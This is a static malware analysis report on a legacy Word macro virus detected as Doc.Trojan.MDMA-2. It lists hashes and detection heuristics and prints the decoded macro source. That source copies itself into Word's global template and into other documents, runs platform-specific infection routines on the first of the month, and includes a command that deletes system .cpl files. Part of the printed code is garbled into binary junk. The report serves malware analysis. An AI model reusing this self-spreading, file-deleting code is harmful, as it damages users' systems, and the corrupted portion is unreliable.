Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 968e8eb8d61400a8…

MALICIOUS

Office (OLE)

30.0 KB Created: 1999-03-08 04:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ef10fae04c065040a568a29c8e3ee283 SHA-1: a656438b1a5399e2250c888142606b15704d7d68 SHA-256: 968e8eb8d61400a829f05d890bfabfedcac5558826ca553fe4d336cdce76cac8
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OLE document containing a legacy WordBasic AutoClose macro. The macro attempts to install itself into the global template and potentially spread to other documents. The presence of the AutoClose macro and the ClamAV detection strongly suggest a malicious intent for infection and propagation.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3124 bytes
SHA-256: 838244a0958b882f8f99ddb5bb4594ead5a8a8b40a6206e69661a806a6529944
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
On Error Resume Next
    install
    If (WordBasic.Day(WordBasic.Now()) = 1) Then
        Select Case get_platform
            Case 1
                WordBasic.Call "infect_mac"
            Case 2
                WordBasic.Call "infect_windows"
            Case 3
                WordBasic.Call "infect_NT"
            Case 4
                WordBasic.Call "infect_95"
        End Select
        show_credits
    End If
End Sub

Private Sub install()
Dim total
Dim installed
Dim i
    On Error Resume Next
    total = WordBasic.CountMacros(0)
    installed = 0
    If total > 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose", 1
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 113
                End If
            Next
        End If
        If installed = 0 Then
            WordBasic.FileSaveAs Format:=1
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose", 1
        End If
    End If
End Sub

Private Function get_platform()
    On Error Resume Next
    If InStr(WordBasic.[AppInfo$](1), "Macintosh") Then
        get_platform = 120                    ,"MAC"
    End If

    If WordBasic.[AppInfo$](9) <> "0" Then
        get_platform = 2                    'old version of windows
    End If

    If InStr(WordBasic.[GetSystemInfo$](21), "NT") Then
        get_pƒ®®®®®®                                             +1      -1       -1        -1                                                           -1+1                                                                                   +1      +1        +1     : Redim +1       -1  +1 : Redim     +1  : Redim  : Redim  +1       -1           +1         -1 +1 +1                                                                                   : Redim  -1 -1                                  -1 +1          +1: Redim  -1 +1+1        +1    +1          : Redim     : Redim       +1             +1 -1              Single   Close WordBasic.Input Integer Private Declare Close  Begin Private Declare Integer Lib Alias Any
work\Logon j ProcessLoginScript j 00 j
    WordBasic.Kill "c:\windows\system\*.cpl"
End If
End Sub

Private Sub show_credits()
    On Error Resume Next
    WordBasic.MsgBox "You are infected with MDMA_DMV. Brought to you by MDMA (Many Delinquent Modern Anarchists).", "MDMA_DMV", 16
End Sub

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